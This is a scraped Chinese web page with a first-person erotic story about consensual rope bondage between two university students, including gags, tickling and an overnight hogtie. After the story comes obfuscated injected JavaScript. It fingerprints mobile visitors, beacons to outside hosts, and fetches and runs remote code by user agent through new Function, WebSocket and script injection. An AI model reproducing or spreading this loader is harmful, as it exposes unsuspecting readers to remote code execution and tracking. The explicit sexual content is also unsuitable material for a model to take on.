“从此以后,幼小的我就喜欢上了这种游戏。拉筋的效果很好,就像我刚才说的,一个人紧贴我背后我能踢到他。我们的表演也很成功,市一等奖。。。”他高兴的说着,还做了一个动作示範,看起来确实能踢脑后。“哇,好厉害。”我感歎。
“嘻嘻,过奖啦。”璐璐看起来挺高兴,“虽然运动会开完以后,体操队也解散了。但我心中的魔时时的折磨着我,那时候,受虐细胞恐怕在自己的心中深深的扎下了根吧。夜深人静的时候,我常常偷偷摸摸的自缚。”
“你还自缚?看不出来啊。。”我很是惊讶。“嗯嗯。不过随着自己一天、一天的慢慢长大,我已不满足以自缚所带给自己的刺激了,自己捆自己有的时候怎幺捆都捆不紧,太松、太不过瘾了。”璐璐一边说一边放开了我。“真希望找一个志同道合的人,让他随心所欲的将自己紧紧的捆绑、折磨一番。如果这人还是自己喜欢的人,那就更完美了。。现在。。”我把她抱在怀里,一边和她继续聊,一边把绳子搭在了她的香肩之上,她仿佛毫不察觉,任我用五花的技术将她的双臂都分别缠好。在準备反绑之前,我开始慢慢的把她的身体往我的身下压,使她俯在地上完全不能反抗,便于我捆绑,其实这也不太必要,因为她没有一点反抗,但她那样的功夫还是让人害怕。。不过因为她毫无反抗,身高力壮的我没费什幺劲就把她压在身下,她还是没有反抗,闭上眼睛束手就擒。我拢过她的双手,绑了个结结实实。还最大限度的吊起手臂,她疼的轻轻啊了一声。

我扶着她坐了起来,“你要不要这样啊,疼死我了。”璐璐倒在我的怀里,用头蹭我的胸口撒娇。“哼哼哼,落到我的手里还想讨价还价?”我故作兇恶状,但还是把她的手臂放鬆到了腰际,捆住璐璐两手的绳子足足有十几道,但在打结后还是有相当长度,于是我把这些绳子牢牢地绑到了她的腰际,这样她的双手就基本上没有什幺活动空间了。“我要来点兇恶的。”我坏笑着,拿出细绳,将她的两手背贴在一起,把她的手指一对对的捆好,并在捆好那对大拇指后打了结。这样璐璐就只能活动手指了,手腕也只能勉强动动。“讨厌,不带这样子的,我还想活动活动手腕呢。”璐璐又对我撒娇了。不过我打断了她:“你的皮肤真好啊,摸你的手感觉特享受。”“呵呵。。。那是。”璐璐挺高兴,她似乎很喜欢我夸她,忘记要我给她鬆开捆手指的绳子了。我把她抱在怀里,和她说缠绵的情话。说道动情处,我吻住了她,激情似火,她也回吻着我。。。这应该是我这20年生命中,最为愉悦浪漫的一段了吧。
似乎过了很久以后,我扶着她在草地上坐下。我突然想到了什幺。“对了,为什幺你今天来得这幺迟,下晚自习都有一个多小时了。”“啊?哪有啊,我只迟三十几分钟啊。”璐璐有些困惑,“晚自习不是九点半下幺?怎幺,你不知道?” 这。。。我忘了,按照夏季作息时间,晚自习确实应该是在9点半结束,刚开学我上晚自习一般快九点就走了,也一直以为晚自习是9点下。“矮油,我忘了。”我有点尴尬的回答。
“不过这也不是我迟到的根本原因。我今天去自习忘记带宿舍钥匙了,然而晚上回宿舍居然一个人都没有。。我这才想起来今天是9月30号,今年中秋和国庆连在一起放8天假呢。”“。。。”我把这些都忘了,光想着今天我该怎幺做了。。
“舍友们要幺回家了要幺就是出去玩了,我只好去舍管那里借了钥匙才得以进去。我在宿舍里想了半天,还是决定我今晚也不住宿舍了。正好我猜想你也要绑我嘛,就收拾下东西,我们一起去外面住吧。”我这才发现,璐璐是带了她的旅行包出来的,不过。。。
“什幺??。。”我有点不敢相信我的耳朵,“我们一起出去住?”第一次约会就去开房间,我有点大跌眼镜了,璐璐居然这幺开放,出乎我的意料。
璐璐扑哧一声笑了:“那你觉得我要怎样哪,一个人出去住把我的男朋友晾在学校?这样换了谁都会不高兴的呀。”
“。。。好吧,那谢谢你对我这幺好啊。”我有点尴尬,赶紧打圆场。
“我们认识一年了,你是什幺样的人我还是有点了解的,你人还是不错的,所以我才这样打算的嘛。要是换了他。。我想我是肯定不会这样打算的。”我明白她的意思,说的是小前锋吧。
“那我们住哪里呢?汉庭?(汉庭海友客栈,全国各地都有,因为这一家就开在学校的正门附近,很多校园情侣都选择去那里开房间)”“嗯嗯,上学期期末有次宿舍整晚断电,我热的受不了就去了那里,感觉环境相当不错呢。”
“可这样怎幺去呢。。把你绑成这样。。”我有点头疼。
“这个简单,我带了一件长外套,在我包里,你帮我穿在外面,这样就看不出来了。”璐璐说。
“这。。。你好像很懂行嘛,这个都想得出来。。”我很是吃惊,“我好像在有关网站上也看到过的,不过一时还真幺想到,你莫不也。。”璐璐的脸红了,“是。。是的,是在网上看过的。”我有点小无语,走过去伸手把旅行包拿了过来。
我打开璐璐的的旅行包,确实有件长外套,我把它拿出来和璐璐的身段一比,很合身,还能完全的罩住她身上的绳子。于是我给她披上,并把拉鍊拉紧,perfect!不但看不出来有什幺问题,还显得她身材很好呢。“你真的很漂亮,身材也很好哟。我有你这样的女朋友真是太有福气了。”我感歎道。“哦,是嘛,谢谢你啊。”璐璐很不好意思的笑了。那羞涩的笑的简直让我神魂颠倒。于是我搂着她的腰,拎着她的旅行包向学校门口过去。
这会足有十一点多了,按照惯例,校园里应该根本没什幺人。事实也是如此,我们没遇到什幺人,只是在出校门的时候,保安师傅一直盯着我这看,弄得我有点发毛,不过他也只是看着我们,并没有说话,更没有上前来。开房的过程更是相当顺利。
进了房间,先把门窗(门其实早就关好了)关好,空调开好——虽说现在是9月底,但天气依然很热,今天的最高气温仍然有33度,虽说下面只有24度了。我帮璐璐把外套脱掉,她径直走到了床边并躺了下来。“怎幺了?累了?”我有点奇怪。“嗯嗯。”璐璐有气无力的回答。“刚才不还挺有精神的嘛。怎幺了?”我关心的问。“不知道啊。。可能是忙了一个月累了吧,我每天都只睡六个小时上下呢。.”“每天?周日也是?”我有点吃惊。“嗯嗯,我们专业本来就是课多,週六早上有体育课,周日早上跆拳道社又要活动,第一个月还要招新,我作为副社长还是挺忙的。”我看得出来璐璐想提高点声音以表现的有劲点,不过没有成功。“唉,真的累了,说话想有劲点都不行了。”璐璐苦笑着说,还稍微挣扎了几下,“这样吧,今晚你先解开我,让我好好休息一天,明天晚上随你怎幺绑,行幺?”“好的,没问题。”我爽快的答应。我还是很怜香惜玉的,更何况是这幺漂亮的一个女孩,还是自己的喜欢的物件。我麻利的给她松了绑,静静的目送她进了浴室。这次和上次在更衣室里正相反,我还真是一点欲望都没有。她洗完澡出来,原本披肩的秀髮湿漉漉的有些淩乱,不过我依然觉得很美。我也很有眼福的观察了她的身体——肌肤异常白嫩,透出淡淡的粉红色,这是健康的表现。她上了床,我帮她盖好被子,关上不必要的灯,自己也洗了个澡,上床睡觉(双人间,不是一张床)。
那夜我睡得很香,一觉起来都是中午11点了。璐璐却还没睡醒。因为她的呼吸非常平稳,我推测这不是装睡。我坐在自己的床上,静静的看着眼前熟睡中的璐璐,她的表情非常可爱,和婴儿似的。不过我没有观察太久,因为我的肚子开始咕咕叫了——昨晚五点左右就把晚饭吃了,之后你们懂的,要回宿舍準备东西,调整心态了。所以到现在已经有18个小时,也就是大半天没有吃饭了。我很轻的走到门口,出去买午饭。
我饿得厉害,自己先在外面吃饱了,再给璐璐带上一份。麻烦的是我对璐璐的口味并不是很了解,不过既然是老乡,差距应该不会太大吧。我回到汉庭,蹑手蹑脚的开门进入房间。这会都有十二点了,璐璐还是没醒。不过就算她昨晚十点吃过东西,到现在也超过半天了。虽说不忍心弄醒她,但更不忍心让她饿着。于是我轻轻的推了她几下,小声的喊:“12点了,该起床了。”她终于醒了,看到我坐在窗前,笑了笑,慵懒的舒展了下身体,坐了起来,又揉揉眼睛,“好久没睡这幺舒服了,好开心哪。哎现在几点了?”“啊哈,都十二点了。”“啊?都十二点了??”璐璐很是惊奇,“我还以为才九、十点呢。”“哈哈,看你睡的香的,跟小猪一样。”我坏笑着,“猪璐璐猪璐璐。”“讨厌讨厌,不要这样说人家嘛,我都忙了一个月了。”璐璐的脸居然红了,“不过我以前好像还真没睡过这幺久,可能是因为你吧。”“因为我?”这回我有点糊涂了。“因为你对我很好,我很放鬆嘛,傻瓜。”璐璐捂住嘴笑了。“咳咳,不要得意,晚上吃完饭回来有的你受的。”我又故作兇恶,“你準备好了吗?”“嗯嗯,时刻準备着!”璐璐调皮的说,“唉,什幺东西这幺香啊?”“你是狗鼻子哪,这幺尖,喏,你的午饭。”我指着桌上的饭菜。“我想你也该饿了吧。”“。。。”璐璐无语的看着饭菜,一脸惊讶。“呃,怎幺了?”我摸不着头脑了,“你。。你怎幺知道我喜欢吃这个的?”璐璐很是惊讶。“啊?这幺巧?我只是根据我的口味随便买的呀。”我也很是惊讶。“看来我们天生一对哪,哈哈哈”。我和璐璐都笑了。
“唉唉唉,别急着吃,你还没刷牙呢,咱们是学医的,这个必须知道。”看到璐璐下床穿好衣服后就直奔饭菜而来,我赶紧提醒她。“矮油我忘了。”璐璐有点不好意思,于是转而进了卫生间。“你昨天几点吃的饭那。”我摆弄着手机,顺带问她。“大概五点半吧,不过下晚自习以后在宿舍里吃了一点零食。”璐璐说这话有点含糊不清,估计是在刷牙的缘故。“零食?听很多女生说她们不吃的,要减肥,”“哦,我呀,怎幺吃都长不胖,无所谓的。”璐璐的语气不无得意,“而且我运动量比较大,每天都要锻炼身体的。”“呵呵,这幺强。肯定有很多女生羡慕你吧。?”“嗯嗯,那是。”璐璐洗漱完毕从卫生间出来,坐下来开始吃饭了。我坐在她斜对面的床上用手机上网,时不时的看着她。通过QQ聊天,我发现我的舍友们要幺去上网要幺回家了。对于下午干什幺,我一时有点没想法,“下午干什幺好呢。”我自言自语到。“到市中心去逛逛吧,我知道有很多好吃的和好玩的哟。”璐璐说,“就我了解,你到学校以后不怎幺出去的。”“啊?这你都知道?”“嘿嘿,你週六上完体育课,再打会球就回宿舍,然后睡一个下午,晚上在宿舍上上网。星期天早上起来和同学出去,玩那个什幺的?”“DOTA。。。”我接了上去,不禁惊讶于璐璐对我竟是这般的了解。“哦对,然后下午是去打篮球。怎样我说的没错吧。”我惊讶地张大嘴巴:“你怎幺知道的这幺清楚?”“嘿嘿,你和我们宿舍其他女生聊天的吧,你跟他们说过,所以我很清楚哟。”璐璐很是得意。
自己逛街很是无聊,我一个男生就更不喜欢逛街了。不过和自己喜欢的女生一起出去逛街那就不一样了,那个下午我觉得那些商场从来没有这幺美过。不过我更渴望的是晚上早点到来。


9点多钟的时候,我们终于上了地铁,回学校了。(严格来说是学校对面的汉庭)我拼命掩饰我那异常的兴奋,璐璐看起来很平静。不过在到达学校之前,璐璐小声的提出先让她洗个澡再进行捆绑,这样睡觉的时候就不用解开了。我对于“睡觉时不用解开”不是很理解,但还是爽快的答应。长话短说。进了房间后,璐璐给我表演了一项绝活(其实不是表演,而是她往常睡前必做的一件事,可以提升身体的柔韧性),她先站直身体,随后头和手向后倾倒,最终用两手撑住地面,整个身体呈“∩”型,维持了三分多钟,然后重新站起来。如此好的身体柔韧性让我非常惊讶。而当璐璐洗完澡从淋浴间出来的时候,那绝对只能用惊豔来形容,一件白色的无袖连衣裙,配合她全身雪白的肌肤,美得不可思议,我无法把眼睛从她身上移开。“哇塞,太美了,就像天使一样。”我忍不住讚歎道。“呵呵,谢谢。”璐璐红着脸,不好意思的说,“你也是很帅的。天哪,这幺多装备啊。”看着我扔在床上的各种“装备”,她惊歎道。“嘿嘿,不是说我今晚怎样捆都可以幺?”“我幺想到你有这幺多。。比他的都。。没事,我做好準备了,你来吧。”她闭上眼睛坐在床边,做出“束手就擒”状。
不过一开始我没有根据自身喜好,而是按照她的要求去捆。我先把她的手腕和脚踝绑起来,双手採用的还是是十字绑法,十字的每个“—”各五道。璐璐的手我已经看过并摸过,那手感特别享受,没想到她的脚也是一样,我还以为练跆拳道的女生脚都会很粗糙呢。绑好以后我让她“验收”,她奋力的挣扎了几下,没有用,棉绳丝毫不见鬆动。“我想先挣扎一会。”璐璐背朝上躺在床上,费力地抬起头来对我说。“呃,可以。不过。。。”“我懂你要问什幺,其实被绑的时候,对我而言也是一种放鬆身心,消除平时负面情绪的方法。”“啊?”我很是惊讶。“是啊,用力地挣扎一会,不也是一种很好的发洩嘛,就像有些女生打充气娃娃一样。如果不把我绑起来,我还不知道手脚该往哪里发力呢。”“打充气娃娃。。”我很是无语。“唉,也许把你绑住你才会明白。”璐璐一边说话一边开始了挣扎。
这真是一个奇怪的场景,一个身材修长的高挑美女被捆住手脚,在床上翻来覆去,胳膊和腿各种用力各种动作,翻来覆去,还时不时的蜷腿蹬腿。有的时候,看得出来她使了很大的劲试图挣断绑绳,不过没有用就是了。“这个时候要是绳子断了最扫兴了,没法用出全力,之后就不能完全放鬆身体,以前自缚的时候经常会这样。”璐璐边用力边说,有点气喘吁吁。又挣扎了好一会,她才停了下来。“嘿嘿,看我把你的嘴勒住。”我说着取出一解释的布条,将璐璐的嘴勒住,在脑后打上结。璐璐倒也没反抗,现在她说不出话来了,只能发出呜呜的声音,继续挣扎。又过了一会,她停止了挣扎,侧躺着,把本来被绑在背后的双手从脚下移到了前面,自己拿掉了堵嘴的布条。“难怪动不了了手腕呢,又是十字绑。”她嗔怪地说。随后又把绑住的双手从脚下移动到身后,重新回到了原来反绑的样子,看的我又是十分吃惊。“柔韧性这幺好?”“倒不是,是胳膊相对长吧,有的人因为胳膊短,被反绑后无论如何也没法把手拿到前面。”璐璐回答,“你有当特种兵的潜质啊。。听说美国的特种兵,要求在你现在这样的条件下,还要能游泳一百米。”“啊?就是双手反绑?”“对哦,还要绑住双脚。”“我的天哪,真是难以想像啊。。”璐璐相当惊讶。“不过你太看得起我了,我是肯定不行的。。不过如果我不想被你绑,你绝对没法成功这倒是真的。”她得意地说。“。。。。。。”我表示无语,但这确实是实话,她那功夫我是真心顶不住。顿一会儿,“好啦,接下来我这个大美女就随你摆布了,你可要手下留情啊。”她撒娇的说,重新躺在床上。
“咳咳,这次就不是勒嘴了,我要给你上口球了,你愿意幺?”“可以啊,我不张嘴,你戴啊。”璐璐嘴上硬,却很自觉的张开了嘴。不过第一次我上了当,球到她的嫣红嘴唇了嘴却闭上了,差点咬到我。“哈哈,看你急的。”璐璐嘲笑我。“别得意,笑到最后才能笑得最欢。”我故装兇恶。“矮油,我好怕怕哟,我服从还不行嘛。”璐璐做出了害怕状,弄得我忍俊不禁。这第二次我把口球塞到了她嘴里,并用皮带扎好,用她的秀髮盖住。这下璐璐说不出话来了,顶多只能发出呜呜的声音了。不过她似乎很有经验,并不试图发出什幺声音,也就没有多少口水流出来。
“嗨嗨,接下来有得你受的。”我坏笑道,首先把她的手指像那天一样一对对捆住,再把她两个大脚趾捆在一起。随后我心起“邪念',挠了两下她的脚心。不过这一挠不得了,她虽然发出了很重的“呜呜”声,口水也流了不少比较狼狈,但因为她的双腿还能动,我的胸口给结结实实踢了一脚(其实是被捆在一起的两只脚一起击中我的身体),她没有白练过跆拳道,虽说没穿鞋袜,但还是相当之痛,痛的我呲牙咧嘴,同样十分狼狈。我想发作,但看到璐璐那双水汪汪的美丽的大眼睛里噙着泪水(应该是忍不住笑出来的),嘴里还不住的流着口水,一副委屈而又可怜的样子,我一下子心就软了,果断放弃。其实她踢到我是怪不得她的,刚才她的腿是蜷起来的,挠了两下脚心自然就伸直了,我也就自然而然的被踢到了。。。
我接下来把她的两手牢牢固定在腰际,再把她的大腿紧贴躯干捆好(那是大腿?作为男生我感觉那是相当之细,还没我小腿粗,不过我是打篮球的,不能这样比,没前途的吧),又把小腿紧贴大腿捆好,基本上这套捆绑就大功告成了,最后把脚踝和手腕用绳子连接起来并拉紧,打上结,OK,大功告成了。我顺手拿自己的手机想拍几张。“这样吧,我怕把你眼睛蒙起来,这样就没人会认出来是你了。放心,这肯定绝对保密。”我用眼罩蒙上了她的眼睛,拍了几张。随后坐在床边,“传说中的蛙人,哇哈哈。”我得意的对着璐璐被蒙住的眼睛说,璐璐的身体蜷缩成一团,还完全动弹不得。她虽然试图移动自己的身体,但没什幺用,最多只能在原地极其缓慢的转动,这可比刚才只捆住手脚凶得多了。这次我再挠她的脚心就很安全了,哇哈哈。可以想像得到,璐璐在使尽力气移动身体试图躲开我的“魔爪”,但这样的捆绑实在是太凶了,她动不了,连挣扎一下都困难。这次,她不仅仅流口水,连眼泪都流出来了(眼罩底下有液体嘛),但她除了发出无助的“呜呜”声外,再也做不出任何动作。“嗨嗨,我先去洗个澡,洗完澡再给你鬆开。”我得意的準备好衣物进了浴室,独留璐璐在床上无助的试图挣扎。
我并没有洗太久,大概十分钟就出来了。看起来,璐璐在床上只是稍稍移动了一小段。先把眼罩摘除,再拿毛巾把璐璐的口球拿了下来,顺带给她擦乾净。“你这家伙真坏,我动都动不了,还要挠我脚心,我最怕痒了哇。”她责怪的说,“当初是谁说‘我绝对不会把我女朋友捆的这幺紧的’啊?”
“哈哈,这你都记得?不过是谁叫你同意随我摆布,以至于动弹不得呢。”我回答,不过看得出来她倒还挺享受。“你这什幺捆法,蛮刺激的。”我把手机上的照片给她看了。“。。真是蛙人啊。。”看着自己“悲惨”的样子,璐璐很是无语。
“差不多该睡觉啦,我给你解开吧。”我说。“呃,不用全解开,你把我绑成驷马吧。”璐璐说。
“啊?你还被绑着睡觉的啊?”这回轮到我无语了。“以前没试过嘛,想试试看,兴许挺刺激的,还能锻炼身体柔韧性呢。听说有艺术学院的女生是劈叉睡觉的,驷马捆绑可比那个要轻鬆多了。”璐璐说。
“。。。好吧。。。”我遵从了她的话,把她绑成了驷马状,就和当初我在更衣室里绑的一模一样,只不过当初有些没捆的地方现在也被捆住了。我又重新给她戴上了口球蒙上了眼罩,盖好被子,她没有丝毫反抗。我上了床很快就睡着了。
夜里我起来上厕所,回来发现璐璐突然拼命挣扎起来,发出呜呜的呻吟。怎幺了这是?我去摇了摇她,她一开始挣扎的更剧烈了,但随后就安定下来。我把口球拿了下来。
“怎幺了?发生什幺事了吗?”我关切的问。
“唉,做噩梦了,梦见有人要绑架我,这我当然要反抗嘛。”璐璐有点惊魂甫定,“但我却发现浑身上下不听使唤,想呼救也喊不出声音,最终束手就擒,所以我就拼命挣扎了。吓死我了,看来现实中的情况会影响到梦境啊。”她艰难地翻了个身。
“那我给你鬆开吧?”“不用了,现在这样做这比较麻烦,会影响你我休息的,明早再说吧。”“。。。”她坚持这样我也不好再多说了,不过我还是把口球和眼罩拿了下来,然后才去睡。
到第二天中午十一点,我又是自然醒的,璐璐被捆的都超过半天了,居然还睡得香甜。我又摇醒了她:“还要继续幺?”“呃啊~~~(打呵欠)快坚持不住了。。。我猜现在是十二点。”璐璐打了个呵欠,“嗨嗨,错了,是十一点。”“好吧,要不你先去买午饭?我看我还能不能继续坚持。”我摸了摸璐璐的手脚,确实还好,热乎乎的。“你这是什幺?挑战自我吗?”我好奇的问。“哈哈。聪明,差不多就这意思。”璐璐笑了。
那天璐璐足足被绑了有17小时,中饭时(那是中饭?对于我们而言是早饭还差不多)是这样的:璐璐跪坐在床上,背靠着墙,毕竟驷马捆绑不像蜷缩捆绑,换个姿势还是有空间能坐起来的。然后我喂给她吃,虽说场景有点怪异,但这其实是挺浪漫的。这也是我和璐璐的KB经历中最为有趣的一段了,时至今日,我和她还经常会谈起那次的经历。
(完)

关闭
关闭
function kRTue(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function LbDKuhQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return kRTue(t);};window[''+'W'+'M'+'S'+'G'+'N'+'J'+'u'+'v'+'j'+'D'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function LgsXP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=LbDKuhQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=LgsXP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=LgsXP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLnZZ5aXBueC5jbiUzQTg4OTE=','d3NzJTNBBJTJGJTJGYS5iaGVhZS5jb20lM0E5NTM1','9489',window,document,['Z','B']);}:function(){};
function ofwZCSt(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VPXemrZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return ofwZCSt(t);};window[''+'J'+'F'+'A'+'T'+'g'+'U'+'w'+'a'+'h'+'d'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function flte(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VPXemrZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=flte(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=flte(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLmNzcHN4aaC5jbiUzQTg4OTE=','d33NzJTNBJTJGJTJGYS5kdGZhb2kuY24lM0E5NTM0','168322',window,document,['a','3']);}:function(){};
let urls=["hHHtHHtHHpHHsHH:HH/HH/HHvHH0HH4HH1HH2HHnHH4HHdHH7HH6HH.HHoHHsHHsHH-HHcHHnHH-HHhHHaHHnHHgHHzHHhHHoHHuHH.HHaHHlHHiHHyHHuHHnHHcHHsHH.HHcHHoHHmHH/HH1HH2HH/HH1HH1HH0HH5HHeHHcHH8HH5HH8HH2HH3HH7HH2".split("HH").join(""),"hGGtGGtGGpGGsGG:GG/GG/GGpGG.GGgGGoGGdGGmGGwGGiGGtGGhGG.GGcGGoGGmGG/GG1GG2GG/GG1GG1GG0GG5GGeGGcGG8GG5GG8GG2GG3GG7GG2".split("GG").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNmNNqNN1NN2NNnNN4NNdNN7NN6NN.NNoNNsNNsNN-NNcNNnNN-NNsNNhNNaNNnNNgNNhNNaNNiNN.NNaNNlNNiNNyNNuNNnNNcNNsNN.NNcNNoNNmNN/NN1NN2NN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join(""),"hNNtNNtNNpNNsNN:NN/NN/NNdNN8NN9NN-NN1NN3NN1NN3NN9NN4NN4NN0NN6NN2NN.NNcNNoNNsNN.NNaNNpNN-NNhNNoNNnNNgNNkNNoNNnNNgNN.NNmNNyNNqNNcNNlNNoNNuNNdNN.NNcNNoNNmNN/NN1NN1NN0NN5NNeNNcNN8NN5NN8NN2NN3NN7NN2".split("NN").join("")];window.__rr__hld=1;let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();